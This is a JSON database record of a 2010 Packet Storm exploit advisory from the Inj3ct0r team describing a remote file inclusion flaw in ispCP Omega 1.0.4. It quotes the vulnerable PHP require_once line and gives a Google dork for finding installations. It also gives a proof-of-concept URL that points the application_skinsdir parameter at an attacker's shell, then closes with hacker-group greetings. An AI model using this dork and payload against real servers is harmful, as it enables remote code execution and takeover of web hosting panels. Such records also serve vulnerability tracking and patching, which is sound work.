{"id": "PACKETSTORM:87084", "type": "packetstorm", "bulletinFamily": "exploit", "title": "ispCP Omega 1.0.4 Remote File Inclusion", "description": "", "published": "2010-03-10T00:00:00", "modified": "2010-03-10T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/87084/ispCP-Omega-1.0.4-Remote-File-Inclusion.html", "reporter": "cr4wl3r", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:28:37", "viewCount": 13, "enchantments": {"score": {"value": -0.2, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.2}, "sourceHref": "https://packetstormsecurity.com/files/download/87084/ispcp-rfi.txt", "sourceData": "`[+] ispCP Omega <= 1.0.4 Remote File Include Vulnerability \n \n1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 \n0 _ __ __ __ 1 \n1 /' \\ __ /'__`\\ /\\ \\__ /'__`\\ 0 \n0 /\\_, \\ ___ /\\_\\/\\_\\ \\ \\ ___\\ \\ ,_\\/\\ \\/\\ \\ _ ___ 1 \n1 \\/_/\\ \\ /' _ `\\ \\/\\ \\/_/_\\_<_ /'___\\ \\ \\/\\ \\ \\ \\ \\/\\`'__\\ 0 \n0 \\ \\ \\/\\ \\/\\ \\ \\ \\ \\/\\ \\ \\ \\/\\ \\__/\\ \\ \\_\\ \\ \\_\\ \\ \\ \\/ 1 \n1 \\ \\_\\ \\_\\ \\_\\_\\ \\ \\ \\____/\\ \\____\\\\ \\__\\\\ \\____/\\ \\_\\ 0 \n0 \\/_/\\/_/\\/_/\\ \\_\\ \\/___/ \\/____/ \\/__/ \\/___/ \\/_/ 1 \n1 \\ \\____/ >> Exploit database separated by exploit 0 \n0 \\/___/ type (local, remote, DoS, etc.) 1 \n1 1 \n0 [+] Site : Inj3ct0r.com 0 \n1 [+] Support e-mail : submit[at]inj3ct0r.com 1 \n0 0 \n1 ###################################### 1 \n0 I'm cr4wl3r member from Inj3ct0r Team 1 \n1 ###################################### 0 \n0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 \n \n[+] Discovered By: cr4wl3r \n[+] Download: http://isp-control.net/ \n[+] Dork: \"Powered by ispCP Omega\" \n[+] Code in [ispcp-omega-1.0.4/gui/tools/filemanager/skins/mobile/admin1.template.php] \n \n[x] <?php require_once($net2ftp_globals[\"application_skinsdir\"] . \"/blue/admin1.template.php\"); ?> \n \n[+] PoC: [path]/tools/filemanager/skins/mobile/admin1.template.php?net2ftp_globals[application_skinsdir]=[Shell] \n \n[+] Greetz and thanks to: \n[!] str0ke [milw0rm.com] \n[!] r0073r, 0x1D [inj3ct0r.com] \n[!] opt!x hacker [morrocan hacker] \n[!] xoron [turkish hacker] \n[!] irvian, cyberlog, [sekuritionline.net] \n[!] EA ngel, basix, angky_tatoki, doniskaynet, panteto [manadocoding.net] \n[!] boom3rang [khg-cr3w.org] \n`\n", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1646882941}}
{}
ispCP Omega 1.0.4 Remote File Inclusion